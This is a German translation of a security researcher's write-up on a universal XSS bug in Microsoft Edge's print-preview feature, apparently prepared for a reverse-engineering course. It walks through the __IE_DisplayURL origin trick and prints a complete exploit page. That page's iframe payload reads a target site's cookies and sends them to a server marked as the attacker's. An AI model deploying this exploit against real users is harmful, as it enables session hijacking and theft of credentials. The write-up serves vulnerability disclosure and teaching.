Die Übersetzung des Artikels wurde speziell für Studenten des Reverse Engineering- Kurses erstellt.
Universal XSS (uXSS) ist ein Browser-Fehler, mit dem Sie JavaScript-Code auf jeder Site ausführen können.
Es scheint, dass XSS auf allen Websites verfügbar ist und sehr interessant aussieht. Noch interessanter ist, wie ich diesen Fehler gefunden habe. Wenn es um uXSS geht, ist dies normalerweise höchstwahrscheinlich auf das IFRAME-Element oder die Aufregung mit der URL zurückzuführen, aber ich hätte nie gedacht, dass ich mit der Funktion
print()
eine XSS-Sicherheitsanfälligkeit finden würde.
Vorschaufenster
Lassen Sie uns darüber sprechen, was tatsächlich passiert, wenn Edge ein Druckvorschaufenster anzeigt.
Ich habe immer gedacht, dass es nur einen Screenshot gibt, der von einer Technologie wie
Canvas gezeichnet wurde, aber tatsächlich wird die Seite, die Sie drucken möchten, auf
temporär kopiert und neu gerendert!
Wenn
print()
auf der Seite ausgeführt wird, wird in
Process Monitor die folgende Dateisystemaktivität
angezeigt :

Die Datei wird also im temporären Edge-Verzeichnis erstellt, und der Inhalt dieser Datei ist eine leicht geänderte Version der Originalseite, die wir zu drucken versucht haben. Vergleichen wir.
Vor dem Drucken:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Nach dem Drucken:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
Es gibt mehrere Dinge, die wir aus diesem Vergleich erkennen können.
- Javascript ist falsch codiert und gerendert.
- IFRAME verweist jetzt auf eine andere lokale Datei im selben Verzeichnis, die den Quellcode für den ursprünglichen
bing.com
Link enthält. - Das HTML-Element hat jetzt ein besonderes Attribut
__IE_DisplayURL
.
In Bezug auf den ersten und zweiten Punkt habe ich mehrere Tests durchgeführt. Zuerst wollte ich verstehen, ob ich nach dem Ändern der Codierung gültigen Javascript-Code erhalten kann, in der Hoffnung, dass ich am Ende Javascript ausführen kann. Es stellte sich heraus, dass normaler oder nicht normaler Code im
<
script>
-Element nicht ausgeführt wird.
Das zweite Element hat mir geholfen, den Benutzernamen des Betriebssystems mithilfe der Funktion
@media print{}
in CSS und Selector Magic
@media print{}
. Ich konnte es vom IFRAME href-Wert erhalten. Dies war jedoch nicht genug.
Im dritten Absatz wurde es interessant, da dieses Attribut äußerst ungewöhnlich ist und ich ihn bis jetzt nicht getroffen habe. Ich googelte ihn sofort und fand mehrere Artikel, auf deren Grundlage mir klar wurde, dass jemand, Masato Kinugawa, bereits mit
ihm gespielt und coole Bugs entdeckt hatte.
Nach dem Lesen und einigen Übungen stellte ich fest, dass der Vorschaukontext von der Herkunft dieses Dokuments erfährt. Dies ist sinnvoll, da Edge Dateien mit dem
file:
URI-Schema öffnet. Wenn dieses Attribut auf die Quelle verweist, werden Sie feststellen, dass alle Anforderungen, die aus dem Dokument (als Teil der Vorschau) stammen, genau dasselbe Verhalten nachahmen, als ob sie von der ursprünglichen Website stammen.
Wie können wir dieses Attribut verwenden? Es muss einen Weg geben!
Ausführung von Javascript-Code mit Vorschau
Wie ich bereits sagte, wird jeder JavaScript-Code im normalen Skript-Tag blockiert oder einfach ignoriert. Aber was ist, wenn Sie in eine andere Richtung denken? Ich habe alles versucht, was mir einfiel, also werde ich Sie davor bewahren, Zeit mit vielen erfolglosen Versuchen zu verschwenden, und direkt zur Sache kommen.
Hier haben wir es mit der Druckfunktion zu tun, also habe ich mit Ereignissen im Zusammenhang mit dem Drucken gespielt. Das Ergebnis wurde mir von
"onbeforeprint"
, mit dessen Hilfe ich die Möglichkeit bekam, einen IFRAME zu implementieren, der auf eine Website zeigte, und Edge musste ihn nicht zuerst in eine Datei konvertieren. Fast sofort habe ich versucht, einen IFRAME zu implementieren, der auf die URL des Javascript-Codes und der Dame verweist! Dieser Code wurde im Kontext der Vorschau ausgeführt.
Javascript-Injektionstest:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
Nach dem Konvertieren der Dokumentvorschau:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
Screenshot des Ergebnisses:

Nur weil wir Code ausführen können, heißt das nicht, dass wir fertig sind. Wie bereits erwähnt, wird aufgrund des Attributs
__IE_DisplayURL
jede Anforderung oder jeder API-Aufruf als vom Dokument ausgehend betrachtet.
UXSS-Implementierung
Nachdem wir unseren ausführbaren Code implementieren können, müssen wir irgendwie unsere eigene „Dokumentvorschau“ mit unserer eigenen
__IE_DisplayURL
und dann jede Website simulieren, die wir für uXSS auswählen.
Ich habe festgestellt, dass ich mit der
Blob-URL den gewünschten Effekt erzielen kann! Also habe ich mein eigenes druckbares Dokument erstellt, wobei mein Attribut auf die
bing.com
verweist (in meinem Fall
bing.com
). Es enthielt Javascript IFRAME, das so lief, als ob es von
bing.com
stammte.
Ich habe den folgenden Code implementiert:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
Wobei
top.document.getElementById('qd').value
das nächste gefälschte Dokument ist, das gedruckt werden soll.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Ich lese nur
document.cookie
und sende sie zurück an den Server.
Lassen Sie uns nun zusammenfassen, was die endgültige Version des Exploits bewirkt:
- Mit dem Ereignis
onbeforeprint
ich einen IFRAME ein, der unmittelbar vor dem Drucken auf meine Nutzdaten verweist. - Zum Initialisieren rufe ich
window.print()
. - Edge zeigt dann ein Vorschaufenster an, während mein eingebetteter Code gerendert wird.
- Der eingebettete Javascript-Code hat eine Blob-URL erstellt, die mein eigenes druckbares
bing.com
und den oberen Frame an diese Adresse umleitet. - Der Druckvorschau-Kontext geht davon aus, dass der Inhalt meiner Blob-URL wirklich druckbar ist, und setzt den Ursprung des Dokuments mithilfe des Attributs
__IE_DisplayURL
auf __IE_DisplayURL
. - Das gefälschte druckbare Dokument selbst enthält einen weiteren IFRAME, der einfach die
document.cookie
von bing.com
. - uXSS funktioniert!
Endgültiger Code und Video
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
Nützliche Links:→
Microsoft.com